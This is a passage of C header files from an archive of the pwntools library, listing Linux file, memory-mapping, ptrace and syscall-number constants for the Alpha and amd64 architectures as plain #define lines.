0x2000 #define O_DIRECTORY 0x8000 #define O_NOFOLLOW 0x10000 #define O_LARGEFILE 0x20000 #define O_DIRECT 0x80000 #define O_NOATIME 0x100000 #define O_CLOEXEC 0x200000 #define O_SYNC 0x404000 #define O_PATH 0x800000 #define __O_TMPFILE 0x1000000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETOWN 5 #define F_GETOWN 6 #define F_SETSIG 10 #define F_GETSIG 11 #define FD_CLOEXEC 1 #define F_RDLCK 1 #define F_WRLCK 2 #define F_UNLCK 8 #define F_EXLCK 16 #define F_SHLCK 32 #define F_INPROGRESS 64 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x1008000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x100 #define MAP_ANONYMOUS 0x10 #define MAP_GROWSDOWN 0x1000 #define MAP_DENYWRITE 0x2000 #define MAP_EXECUTABLE 0x4000 #define MAP_LOCKED 0x8000 #define MAP_NORESERVE 0x10000 #define MAP_POPULATE 0x20000 #define MAP_NONBLOCK 0x40000 #define MAP_STACK 0x80000 #define MAP_HUGETLB 0x100000 #define MS_ASYNC 1 #define MS_SYNC 2 #define MS_INVALIDATE 4 #define MCL_CURRENT 8192 #define MCL_FUTURE 16384 #define MCL_ONFAULT 32768 #define MADV_NORMAL 0 #define MADV_RANDOM 1 #define MADV_SEQUENTIAL 2 #define MADV_WILLNEED 3 #define MADV_SPACEAVAIL 5 #define MADV_DONTNEED 6 #define MAP_ANON 0x10 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0 #define POSIX_MADV_SEQUENTIAL 2 #define POSIX_MADV_RANDOM 1 #define POSIX_MADV_WILLNEED 3 #define POSIX_MADV_DONTNEED 6 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 99 #define SYS_accept4 502 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 439 #define SYS_adjtimex 366 #define SYS_afs_syscall 338 #define SYS_bdflush 300 #define SYS_bind 104 #define SYS_bpf 515 #define SYS_brk 17 #define SYS_capget 368 #define SYS_capset 369 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_chroot 61 #define SYS_clock_adjtime 499 #define SYS_clock_getres 421 #define SYS_clock_gettime 420 #define SYS_clock_nanosleep 422 #define SYS_clock_settime 419 #define SYS_clone 312 #define SYS_close 6 #define SYS_connect 98 #define SYS_copy_file_range 519 #define SYS_create_module 306 #define SYS_delete_module 308 #define SYS_dipc 373 #define SYS_dup 41 #define SYS_dup2 90 #define SYS_dup3 487 #define SYS_epoll_create1 486 #define SYS_epoll_pwait 474 #define SYS_eventfd 478 #define SYS_eventfd2 485 #define SYS_execve 59 #define SYS_execveat 513 #define SYS_exec_with_loader 25 #define SYS_exit 1 #define SYS_exit_group 405 #define SYS_faccessat 462 #define SYS_fadvise64 413 #define SYS_fallocate 480 #define SYS_fanotify_init 494 #define SYS_fanotify_mark 495 #define SYS_fchdir 13 #define SYS_fchmod 124 #define SYS_fchmodat 461 #define SYS_fchown 123 #define SYS_fchownat 453 #define SYS_fcntl 92 #define SYS_fdatasync 447 #define SYS_fgetxattr 387 #define SYS_finit_module 507 #define SYS_flistxattr 390 #define SYS_flock 131 #define SYS_fork 2 #define SYS_fremovexattr 393 #define SYS_fsconfig 541 #define SYS_fsetxattr 384 #define SYS_fsmount 542 #define SYS_fsopen 540 #define SYS_fspick 543 #define SYS_fstat 91 #define SYS_fstat64 427 #define SYS_fstatat64 455 #define SYS_fstatfs 329 #define SYS_fstatfs64 529 #define SYS_fsync 95 #define SYS_ftruncate 130 #define SYS_futex 394 #define SYS_futimesat 454 #define SYS_getcpu 473 #define SYS_getcwd 367 #define SYS_getdents 305 #define SYS_getdents64 377 #define SYS_getdtablesize 89 #define SYS_getegid 530 #define SYS_geteuid 531 #define SYS_getgroups 79 #define SYS_gethostname 87 #define SYS_getitimer 361 #define SYS_get_kernel_syms 309 #define SYS_get_mempolicy 430 #define SYS_getpagesize 64 #define SYS_getpeername 141 #define SYS_getpgid 233 #define SYS_getpgrp 63 #define SYS_getppid 532 #define SYS_getpriority 100 #define SYS_getrandom 511 #define SYS_getresgid 372 #define SYS_getresuid 344 #define SYS_getrlimit 144 #define SYS_get_robust_list 467 #define SYS_getrusage 364 #define SYS_getsid 234 #define SYS_getsockname 150 #define SYS_getsockopt 118 #define SYS_gettid 378 #define SYS_gettimeofday 359 #define SYS_getxattr 385 #define SYS_getxgid 47 #define SYS_getxpid 20 #define SYS_getxuid 24 #define SYS_init_module 307 #define SYS_inotify_add_watch 445 #define SYS_inotify_init 444 #define SYS_inotify_init1 489 #define SYS_inotify_rm_watch 446 #define SYS_io_cancel 402 #define SYS_ioctl 54 #define SYS_io_destroy 399 #define SYS_io_getevents 400 #define SYS_io_pgetevents 523 #define SYS_ioprio_get 443 #define SYS_ioprio_set 442 #define SYS_io_setup 398 #define SYS_io_submit 401 #define SYS_io_uring_enter 536 #define SYS_io_uring_register 537 #define SYS_io_uring_setup 535 #define SYS_kcmp 506 #define SYS_kexec_load 448 #define SYS_keyctl 441 #define SYS_kill 37 #define SYS_lchown 208 #define SYS_lgetxattr 386 #define SYS_link 9 #define SYS_linkat 458 #define SYS_listen 106 #define SYS_listxattr 388 #define SYS_llistxattr 389 #define SYS_lookup_dcookie 406 #define SYS_lremovexattr 392 #define SYS_lseek 19 #define SYS_lsetxattr 383 #define SYS_lstat 68 #define SYS_lstat64 426 #define SYS_madvise 75 #define SYS_mbind 429 #define SYS_membarrier 517 #define SYS_memfd_create 512 #define SYS_migrate_pages 449 #define SYS_mincore 375 #define SYS_mkdir 136 #define SYS_mkdirat 451 #define SYS_mknod 14 #define SYS_mknodat 452 #define SYS_mlock 314 #define SYS_mlock2 518 #define SYS_mlockall 316 #define SYS_mmap 71 #define SYS_mount 302 #define SYS_move_mount 539 #define SYS_move_pages 472 #define SYS_mprotect 74 #define SYS_mq_getsetattr 437 #define SYS_mq_notify 436 #define SYS_mq_open 432 #define SYS_mq_timedreceive 435 #define SYS_mq_timedsend 434 #define SYS_mq_unlink 433 #define SYS_mremap 341 #define SYS_msgctl 200 #define SYS_msgget 201 #define SYS_msgrcv 202 #define SYS_msgsnd 203 #define SYS_msync 217 #define SYS_munlock 315 #define SYS_munlockall 317 #define SYS_munmap 73 #define SYS_name_to_handle_at 497 #define SYS_nanosleep 340 #define SYS_nfsservctl 342 #define SYS_old_adjtimex 303 #define SYS_oldumount 321 #define SYS_open 45 #define SYS_openat 450 #define SYS_openat2 547 #define SYS_open_by_handle_at 498 #define SYS_open_tree 538 #define SYS_osf_adjtime 140 #define SYS_osf_afs_syscall 258 #define SYS_osf_alt_plock 181 #define SYS_osf_alt_setsid 188 #define SYS_osf_alt_sigpending 187 #define SYS_osf_asynch_daemon 163 #define SYS_osf_audcntl 252 #define SYS_osf_audgen 253 #define SYS_osf_chflags 34 #define SYS_osf_execve 11 #define SYS_osf_exportfs 169 #define SYS_osf_fchflags 35 #define SYS_osf_fdatasync 261 #define SYS_osf_fpathconf 248 #define SYS_osf_fstatfs 161 #define SYS_osf_fuser 243 #define SYS_osf_getaddressconf 214 #define SYS_osf_getdirentries 159 #define SYS_osf_getdomainname 165 #define SYS_osf_getfh 164 #define SYS_osf_getfsstat 18 #define SYS_osf_gethostid 142 #define SYS_osf_getitimer 86 #define SYS_osf_getlogin 49 #define SYS_osf_getmnt 184 #define SYS_osf_getrusage 117 #define SYS_osf_getsysinfo 256 #define SYS_osf_gettimeofday 116 #define SYS_osf_kloadcall 223 #define SYS_osf_kmodcall 77 #define SYS_osf_memcntl 260 #define SYS_osf_mincore 78 #define SYS_osf_mount 21 #define SYS_osf_mremap 65 #define SYS_osf_msfs_syscall 240 #define SYS_osf_msleep 215 #define SYS_osf_mvalid 213 #define SYS_osf_mwakeup 216 #define SYS_osf_naccept 30 #define SYS_osf_nfssvc 158 #define SYS_osf_ngetpeername 31 #define SYS_osf_ngetsockname 32 #define SYS_osf_nrecvfrom 29 #define SYS_osf_nrecvmsg 27 #define SYS_osf_nsendmsg 28 #define SYS_osf_ntp_adjtime 245 #define SYS_osf_ntp_gettime 246 #define SYS_osf_old_creat 8 #define SYS_osf_old_fstat 62 #define SYS_osf_old_getpgrp 81 #define SYS_osf_old_killpg 146 #define SYS_osf_old_lstat 40 #define SYS_osf_old_open 5 #define SYS_osf_oldquota 149 #define SYS_osf_old_sigaction 46 #define SYS_osf_old_sigblock 109 #define SYS_osf_old_sigreturn 139 #define SYS_osf_old_sigsetmask 110 #define SYS_osf_old_sigvec 108 #define SYS_osf_old_stat 38 #define SYS_osf_old_vadvise 72 #define SYS_osf_old_vtrace 115 #define SYS_osf_old_wait 84 #define SYS_osf_pathconf 247 #define SYS_osf_pid_block 153 #define SYS_osf_pid_unblock 154 #define SYS_osf_plock 107 #define SYS_osf_priocntlset 237 #define SYS_osf_profil 44 #define SYS_osf_proplist_syscall 244 #define SYS_osf_reboot 55 #define SYS_osf_revoke 56 #define SYS_osf_sbrk 69 #define SYS_osf_security 222 #define SYS_osf_select 93 #define SYS_osf_sethostid 143 #define SYS_osf_setitimer 83 #define SYS_osf_setlogin 50 #define SYS_osf_set_program_attributes 43 #define SYS_osf_set_speculative 239 #define SYS_osf_setsysinfo 257 #define SYS_osf_settimeofday 122 #define SYS_osf_shmat 209 #define SYS_osf_signal 218 #define SYS_osf_sigprocmask 48 #define SYS_osf_sigsendset 238 #define SYS_osf_sigstack 112 #define SYS_osf_sigwaitprim 157 #define SYS_osf_sstk 70 #define SYS_osf_statfs 160 #define SYS_osf_subsys_info 255 #define SYS_osf_swapctl 259 #define SYS_osf_swapon 199 #define SYS_osf_syscall 0 #define SYS_osf_sysinfo 241 #define SYS_osf_table 85 #define SYS_osf_uadmin 242 #define SYS_osf_usleep_thread 251 #define SYS_osf_uswitch 250 #define SYS_osf_utc_adjtime 220 #define SYS_osf_utc_gettime 219 #define SYS_osf_utimes 138 #define SYS_osf_utsname 207 #define SYS_osf_wait4 7 #define SYS_osf_waitid 236 #define SYS_pciconfig_iobase 376 #define SYS_pciconfig_read 345 #define SYS_pciconfig_write 346 #define SYS_perf_event_open 493 #define SYS_personality 324 #define SYS_pidfd_getfd 548 #define SYS_pidfd_open 544 #define SYS_pidfd_send_signal 534 #define SYS_pipe 42 #define SYS_pipe2 488 #define SYS_pivot_root 374 #define SYS_pkey_alloc 525 #define SYS_pkey_free 526 #define SYS_pkey_mprotect 524 #define SYS_poll 94 #define SYS_ppoll 464 #define SYS_prctl 348 #define SYS_pread 349 #define SYS_preadv 490 #define SYS_preadv2 520 #define SYS_prlimit64 496 #define SYS_process_vm_readv 504 #define SYS_process_vm_writev 505 #define SYS_pselect6 463 #define SYS_ptrace 26 #define SYS_pwrite 350 #define SYS_pwritev 491 #define SYS_pwritev2 521 #define SYS_query_module 347 #define SYS_quotactl 148 #define SYS_read 3 #define SYS_readahead 379 #define SYS_readlink 58 #define SYS_readlinkat 460 #define SYS_readv 120 #define SYS_reboot 311 #define SYS_recv 102 #define SYS_recvfrom 125 #define SYS_recvmmsg 479 #define SYS_recvmsg 113 #define SYS_remap_file_pages 410 #define SYS_removexattr 391 #define SYS_rename 128 #define SYS_renameat 457 #define SYS_renameat2 510 #define SYS_request_key 440 #define SYS_restart_syscall 412 #define SYS_rmdir 137 #define SYS_rseq 527 #define SYS_rt_sigaction 352 #define SYS_rt_sigpending 354 #define SYS_rt_sigprocmask 353 #define SYS_rt_sigqueueinfo 356 #define SYS_rt_sigreturn 351 #define SYS_rt_sigsuspend 357 #define SYS_rt_sigtimedwait 355 #define SYS_rt_tgsigqueueinfo 492 #define SYS_sched_getaffinity 396 #define SYS_sched_getattr 509 #define SYS_sched_getparam 331 #define SYS_sched_get_priority_max 335 #define SYS_sched_get_priority_min 336 #define SYS_sched_getscheduler 333 #define SYS_sched_rr_get_interval 337 #define SYS_sched_setaffinity 395 #define SYS_sched_setattr 508 #define SYS_sched_setparam 330 #define SYS_sched_setscheduler 332 #define SYS_sched_yield 334 #define SYS_seccomp 514 #define SYS_select 358 #define SYS_semctl 204 #define SYS_semget 205 #define SYS_semop 206 #define SYS_semtimedop 423 #define SYS_send 101 #define SYS_sendfile 370 #define SYS_sendmmsg 503 #define SYS_sendmsg 114 #define SYS_sendto 133 #define SYS_setdomainname 166 #define SYS_setfsgid 326 #define SYS_setfsuid 325 #define SYS_setgid 132 #define SYS_setgroups 80 #define SYS_sethae 301 #define SYS_sethostname 88 #define SYS_setitimer 362 #define SYS_set_mempolicy 431 #define SYS_setns 501 #define SYS_setpgid 39 #define SYS_setpgrp 82 #define SYS_setpriority 96 #define SYS_setregid 127 #define SYS_setresgid 371 #define SYS_setresuid 343 #define SYS_setreuid 126 #define SYS_setrlimit 145 #define SYS_set_robust_list 466 #define SYS_setsid 147 #define SYS_setsockopt 105 #define SYS_set_tid_address 411 #define SYS_settimeofday 360 #define SYS_setuid 23 #define SYS_setxattr 382 #define SYS_shmctl 210 #define SYS_shmdt 211 #define SYS_shmget 212 #define SYS_shutdown 134 #define SYS_sigaction 156 #define SYS_sigaltstack 235 #define SYS_signalfd 476 #define SYS_signalfd4 484 #define SYS_sigpending 52 #define SYS_sigreturn 103 #define SYS_sigsuspend 111 #define SYS_socket 97 #define SYS_socketpair 135 #define SYS_splice 468 #define SYS_stat 67 #define SYS_stat64 425 #define SYS_statfs 328 #define SYS_statfs64 528 #define SYS_statx 522 #define SYS_swapoff 304 #define SYS_swapon 322 #define SYS_symlink 57 #define SYS_symlinkat 459 #define SYS_sync 36 #define SYS_sync_file_range 469 #define SYS_syncfs 500 #define SYS__sysctl 319 #define SYS_sys_epoll_create 407 #define SYS_sys_epoll_ctl 408 #define SYS_sys_epoll_wait 409 #define SYS_sysfs 254 #define SYS_sysinfo 318 #define SYS_syslog 310 #define SYS_tee 470 #define SYS_tgkill 424 #define SYS_timer_create 414 #define SYS_timer_delete 418 #define SYS_timerfd 477 #define SYS_timerfd_create 481 #define SYS_timerfd_gettime 483 #define SYS_timerfd_settime 482 #define SYS_timer_getoverrun 417 #define SYS_timer_gettime 416 #define SYS_timer_settime 415 #define SYS_times 323 #define SYS_tkill 381 #define SYS_truncate 129 #define SYS_tuxcall 397 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount_with_flags 22 #define SYS_umount_without_flags 321 #define SYS_uname 339 #define SYS_unlink 10 #define SYS_unlinkat 456 #define SYS_unshare 465 #define SYS_uselib 313 #define SYS_userfaultfd 516 #define SYS_ustat 327 #define SYS_utimensat 475 #define SYS_utimes 363 #define SYS_vfork 66 #define SYS_vhangup 76 #define SYS_vmsplice 471 #define SYS_vserver 428 #define SYS_wait4 365 #define SYS_waitid 438 #define SYS_write 4 #define SYS_writev 121 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/amd64.h000066400000000000000000001332201507273764500244400ustar00rootroot00000000000000#define __NR_read 0 #define __NR_write 1 #define __NR_open 2 #define __NR_close 3 #define __NR_stat 4 #define __NR_fstat 5 #define __NR_lstat 6 #define __NR_poll 7 #define __NR_lseek 8 #define __NR_mmap 9 #define __NR_mprotect 10 #define __NR_munmap 11 #define __NR_brk 12 #define __NR_rt_sigaction 13 #define __NR_rt_sigprocmask 14 #define __NR_rt_sigreturn 15 #define __NR_ioctl 16 #define __NR_pread 17 #define __NR_pwrite 18 #define __NR_readv 19 #define __NR_writev 20 #define __NR_access 21 #define __NR_pipe 22 #define __NR_select 23 #define __NR_sched_yield 24 #define __NR_mremap 25 #define __NR_msync 26 #define __NR_mincore 27 #define __NR_madvise 28 #define __NR_shmget 29 #define __NR_shmat 30 #define __NR_shmctl 31 #define __NR_dup 32 #define __NR_dup2 33 #define __NR_pause 34 #define __NR_nanosleep 35 #define __NR_getitimer 36 #define __NR_alarm 37 #define __NR_setitimer 38 #define __NR_getpid 39 #define __NR_sendfile 40 #define __NR_socket 41 #define __NR_connect 42 #define __NR_accept 43 #define __NR_sendto 44 #define __NR_recvfrom 45 #define __NR_sendmsg 46 #define __NR_recvmsg 47 #define __NR_shutdown 48 #define __NR_bind 49 #define __NR_listen 50 #define __NR_getsockname 51 #define __NR_getpeername 52 #define __NR_socketpair 53 #define __NR_setsockopt 54 #define __NR_getsockopt 55 #define __NR_clone 56 #define __NR_fork 57 #define __NR_vfork 58 #define __NR_execve 59 #define __NR_exit 60 #define __NR_wait4 61 #define __NR_kill 62 #define __NR_uname 63 #define __NR_semget 64 #define __NR_semop 65 #define __NR_semctl 66 #define __NR_shmdt 67 #define __NR_msgget 68 #define __NR_msgsnd 69 #define __NR_msgrcv 70 #define __NR_msgctl 71 #define __NR_fcntl 72 #define __NR_flock 73 #define __NR_fsync 74 #define __NR_fdatasync 75 #define __NR_truncate 76 #define __NR_ftruncate 77 #define __NR_getdents 78 #define __NR_getcwd 79 #define __NR_chdir 80 #define __NR_fchdir 81 #define __NR_rename 82 #define __NR_mkdir 83 #define __NR_rmdir 84 #define __NR_creat 85 #define __NR_link 86 #define __NR_unlink 87 #define __NR_symlink 88 #define __NR_readlink 89 #define __NR_chmod 90 #define __NR_fchmod 91 #define __NR_chown 92 #define __NR_fchown 93 #define __NR_lchown 94 #define __NR_umask 95 #define __NR_gettimeofday 96 #define __NR_getrlimit 97 #define __NR_getrusage 98 #define __NR_sysinfo 99 #define __NR_times 100 #define __NR_ptrace 101 #define __NR_getuid 102 #define __NR_syslog 103 #define __NR_getgid 104 #define __NR_setuid 105 #define __NR_setgid 106 #define __NR_geteuid 107 #define __NR_getegid 108 #define __NR_setpgid 109 #define __NR_getppid 110 #define __NR_getpgrp 111 #define __NR_setsid 112 #define __NR_setreuid 113 #define __NR_setregid 114 #define __NR_getgroups 115 #define __NR_setgroups 116 #define __NR_setresuid 117 #define __NR_getresuid 118 #define __NR_setresgid 119 #define __NR_getresgid 120 #define __NR_getpgid 121 #define __NR_setfsuid 122 #define __NR_setfsgid 123 #define __NR_getsid 124 #define __NR_capget 125 #define __NR_capset 126 #define __NR_rt_sigpending 127 #define __NR_rt_sigtimedwait 128 #define __NR_rt_sigqueueinfo 129 #define __NR_rt_sigsuspend 130 #define __NR_sigaltstack 131 #define __NR_utime 132 #define __NR_mknod 133 #define __NR_uselib 134 #define __NR_personality 135 #define __NR_ustat 136 #define __NR_statfs 137 #define __NR_fstatfs 138 #define __NR_sysfs 139 #define __NR_getpriority 140 #define __NR_setpriority 141 #define __NR_sched_setparam 142 #define __NR_sched_getparam 143 #define __NR_sched_setscheduler 144 #define __NR_sched_getscheduler 145 #define __NR_sched_get_priority_max 146 #define __NR_sched_get_priority_min 147 #define __NR_sched_rr_get_interval 148 #define __NR_mlock 149 #define __NR_munlock 150 #define __NR_mlockall 151 #define __NR_munlockall 152 #define __NR_vhangup 153 #define __NR_modify_ldt 154 #define __NR_pivot_root 155 #define __NR__sysctl 156 #define __NR_prctl 157 #define __NR_arch_prctl 158 #define __NR_adjtimex 159 #define __NR_setrlimit 160 #define __NR_chroot 161 #define __NR_sync 162 #define __NR_acct 163 #define __NR_settimeofday 164 #define __NR_mount 165 #define __NR_umount2 166 #define __NR_swapon 167 #define __NR_swapoff 168 #define __NR_reboot 169 #define __NR_sethostname 170 #define __NR_setdomainname 171 #define __NR_iopl 172 #define __NR_ioperm 173 #define __NR_create_module 174 #define __NR_init_module 175 #define __NR_delete_module 176 #define __NR_get_kernel_syms 177 #define __NR_query_module 178 #define __NR_quotactl 179 #define __NR_nfsservctl 180 #define __NR_getpmsg 181 #define __NR_putpmsg 182 #define __NR_afs_syscall 183 #define __NR_tuxcall 184 #define __NR_security 185 #define __NR_gettid 186 #define __NR_readahead 187 #define __NR_setxattr 188 #define __NR_lsetxattr 189 #define __NR_fsetxattr 190 #define __NR_getxattr 191 #define __NR_lgetxattr 192 #define __NR_fgetxattr 193 #define __NR_listxattr 194 #define __NR_llistxattr 195 #define __NR_flistxattr 196 #define __NR_removexattr 197 #define __NR_lremovexattr 198 #define __NR_fremovexattr 199 #define __NR_tkill 200 #define __NR_time 201 #define __NR_futex 202 #define __NR_sched_setaffinity 203 #define __NR_sched_getaffinity 204 #define __NR_set_thread_area 205 #define __NR_io_setup 206 #define __NR_io_destroy 207 #define __NR_io_getevents 208 #define __NR_io_submit 209 #define __NR_io_cancel 210 #define __NR_get_thread_area 211 #define __NR_lookup_dcookie 212 #define __NR_epoll_create 213 #define __NR_epoll_ctl_old 214 #define __NR_epoll_wait_old 215 #define __NR_remap_file_pages 216 #define __NR_getdents64 217 #define __NR_set_tid_address 218 #define __NR_restart_syscall 219 #define __NR_semtimedop 220 #define __NR_fadvise64 221 #define __NR_timer_create 222 #define __NR_timer_settime 223 #define __NR_timer_gettime 224 #define __NR_timer_getoverrun 225 #define __NR_timer_delete 226 #define __NR_clock_settime 227 #define __NR_clock_gettime 228 #define __NR_clock_getres 229 #define __NR_clock_nanosleep 230 #define __NR_exit_group 231 #define __NR_epoll_wait 232 #define __NR_epoll_ctl 233 #define __NR_tgkill 234 #define __NR_utimes 235 #define __NR_vserver 236 #define __NR_vserver 236 #define __NR_mbind 237 #define __NR_set_mempolicy 238 #define __NR_get_mempolicy 239 #define __NR_mq_open 240 #define __NR_mq_unlink 241 #define __NR_mq_timedsend 242 #define __NR_mq_timedreceive 243 #define __NR_mq_notify 244 #define __NR_mq_getsetattr 245 #define __NR_kexec_load 246 #define __NR_waitid 247 #define __NR_add_key 248 #define __NR_request_key 249 #define __NR_keyctl 250 #define __NR_ioprio_set 251 #define __NR_ioprio_get 252 #define __NR_inotify_init 253 #define __NR_inotify_add_watch 254 #define __NR_inotify_rm_watch 255 #define __NR_migrate_pages 256 #define __NR_openat 257 #define __NR_mkdirat 258 #define __NR_mknodat 259 #define __NR_fchownat 260 #define __NR_futimesat 261 #define __NR_newfstatat 262 #define __NR_unlinkat 263 #define __NR_renameat 264 #define __NR_linkat 265 #define __NR_symlinkat 266 #define __NR_readlinkat 267 #define __NR_fchmodat 268 #define __NR_faccessat 269 #define __NR_pselect6 270 #define __NR_ppoll 271 #define __NR_unshare 272 #define __NR_set_robust_list 273 #define __NR_get_robust_list 274 #define __NR_splice 275 #define __NR_tee 276 #define __NR_sync_file_range 277 #define __NR_vmsplice 278 #define __NR_move_pages 279 #define __NR_utimensat 280 #define __NR_epoll_pwait 281 #define __NR_signalfd 282 #define __NR_timerfd 283 #define __NR_eventfd 284 #define __NR_fallocate 285 #define __NR_timerfd_settime 286 #define __NR_timerfd_gettime 287 #define __NR_accept4 288 #define __NR_signalfd4 289 #define __NR_eventfd2 290 #define __NR_epoll_create1 291 #define __NR_dup3 292 #define __NR_pipe2 293 #define __NR_inotify_init1 294 #define __NR_preadv 295 #define __NR_pwritev 296 #define __NR_rt_tgsigqueueinfo 297 #define __NR_perf_event_open 298 #define __NR_recvmmsg 299 #define __NR_fanotify_init 300 #define __NR_fanotify_mark 301 #define __NR_prlimit64 302 #define __NR_name_to_handle_at 303 #define __NR_open_by_handle_at 304 #define __NR_clock_adjtime 305 #define __NR_syncfs 306 #define __NR_sendmmsg 307 #define __NR_setns 308 #define __NR_getcpu 309 #define __NR_process_vm_readv 310 #define __NR_process_vm_writev 311 #define __NR_kcmp 312 #define __NR_finit_module 313 #define __NR_sched_setattr 314 #define __NR_sched_getattr 315 #define __NR_renameat2 316 #define __NR_seccomp 317 #define __NR_getrandom 318 #define __NR_memfd_create 319 #define __NR_kexec_file_load 320 #define __NR_bpf 321 #define __NR_execveat 322 #define __NR_userfaultfd 323 #define __NR_membarrier 324 #define __NR_mlock2 325 #define __NR_copy_file_range 326 #define __NR_preadv2 327 #define __NR_pwritev2 328 #define __NR_pkey_mprotect 329 #define __NR_pkey_alloc 330 #define __NR_pkey_free 331 #define __NR_statx 332 #define __NR_io_pgetevents 333 #define __NR_rseq 334 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define SYS32_restart_syscall 0 #define SYS32_exit 1 #define SYS32_fork 2 #define SYS32_read 3 #define SYS32_write 4 #define SYS32_open 5 #define SYS32_close 6 #define SYS32_waitpid 7 #define SYS32_creat 8 #define SYS32_link 9 #define SYS32_unlink 10 #define SYS32_execve 11 #define SYS32_chdir 12 #define SYS32_time 13 #define SYS32_mknod 14 #define SYS32_chmod 15 #define SYS32_lchown 16 #define SYS32_break 17 #define SYS32_oldstat 18 #define SYS32_lseek 19 #define SYS32_getpid 20 #define SYS32_mount 21 #define SYS32_umount 22 #define SYS32_setuid 23 #define SYS32_getuid 24 #define SYS32_stime 25 #define SYS32_ptrace 26 #define SYS32_alarm 27 #define SYS32_oldfstat 28 #define SYS32_pause 29 #define SYS32_utime 30 #define SYS32_stty 31 #define SYS32_gtty 32 #define SYS32_access 33 #define SYS32_nice 34 #define SYS32_ftime 35 #define SYS32_sync 36 #define SYS32_kill 37 #define SYS32_rename 38 #define SYS32_mkdir 39 #define SYS32_rmdir 40 #define SYS32_dup 41 #define SYS32_pipe 42 #define SYS32_times 43 #define SYS32_prof 44 #define SYS32_brk 45 #define SYS32_setgid 46 #define SYS32_getgid 47 #define SYS32_signal 48 #define SYS32_geteuid 49 #define SYS32_getegid 50 #define SYS32_acct 51 #define SYS32_umount2 52 #define SYS32_lock 53 #define SYS32_ioctl 54 #define SYS32_fcntl 55 #define SYS32_mpx 56 #define SYS32_setpgid 57 #define SYS32_ulimit 58 #define SYS32_oldolduname 59 #define SYS32_umask 60 #define SYS32_chroot 61 #define SYS32_ustat 62 #define SYS32_dup2 63 #define SYS32_getppid 64 #define SYS32_getpgrp 65 #define SYS32_setsid 66 #define SYS32_sigaction 67 #define SYS32_sgetmask 68 #define SYS32_ssetmask 69 #define SYS32_setreuid 70 #define SYS32_setregid 71 #define SYS32_sigsuspend 72 #define SYS32_sigpending 73 #define SYS32_sethostname 74 #define SYS32_setrlimit 75 #define SYS32_getrlimit 76 #define SYS32_getrusage 77 #define SYS32_gettimeofday 78 #define SYS32_settimeofday 79 #define SYS32_getgroups 80 #define SYS32_setgroups 81 #define SYS32_select 82 #define SYS32_symlink 83 #define SYS32_oldlstat 84 #define SYS32_readlink 85 #define SYS32_uselib 86 #define SYS32_swapon 87 #define SYS32_reboot 88 #define SYS32_readdir 89 #define SYS32_mmap 90 #define SYS32_munmap 91 #define SYS32_truncate 92 #define 